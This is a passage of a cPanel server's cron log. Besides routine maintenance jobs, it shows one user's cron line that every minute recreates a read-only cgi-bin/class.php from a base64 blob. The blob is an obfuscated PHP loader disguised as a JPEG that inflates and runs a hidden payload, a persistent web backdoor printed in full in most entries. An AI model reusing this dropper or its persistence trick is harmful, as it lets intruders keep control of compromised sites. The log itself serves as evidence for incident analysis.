xcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:36:01 server CROND[18079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:36:01 server CROND[18080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:36:01 server CROND[18081]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:37:01 server CROND[18445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:37:01 server CROND[18447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:37:01 server CROND[18446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:38:01 server CROND[18818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:38:01 server CROND[18819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:38:01 server CROND[18820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:39:01 server CROND[19203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:39:01 server CROND[19204]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 05:39:01 server CROND[19205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:39:01 server CROND[19206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:40:01 server CROND[19591]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 05:40:01 server CROND[19594]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:40:01 server CROND[19599]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:40:01 server CROND[19600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:40:01 server CROND[19597]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 05:40:01 server CROND[19601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:40:01 server CROND[19596]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 05:40:01 server CROND[19598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:41:01 server CROND[20444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:41:01 server CROND[20446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:41:01 server CROND[20445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:42:01 server CROND[20893]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 05:42:01 server CROND[20892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:42:01 server CROND[20894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:42:01 server CROND[20895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:43:01 server CROND[21275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:43:01 server CROND[21276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:43:01 server CROND[21277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:44:01 server CROND[21639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:44:01 server CROND[21640]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:44:01 server CROND[21641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:45:01 server CROND[22016]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:45:01 server CROND[22018]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:45:01 server CROND[22019]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 05:45:01 server CROND[22020]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:45:01 server CROND[22024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:45:01 server CROND[22027]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 05:45:01 server CROND[22022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:46:01 server CROND[22981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:46:01 server CROND[22982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:46:01 server CROND[22983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:47:01 server CROND[23479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:47:01 server CROND[23480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:47:01 server CROND[23481]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:48:01 server CROND[23857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:48:01 server CROND[23858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
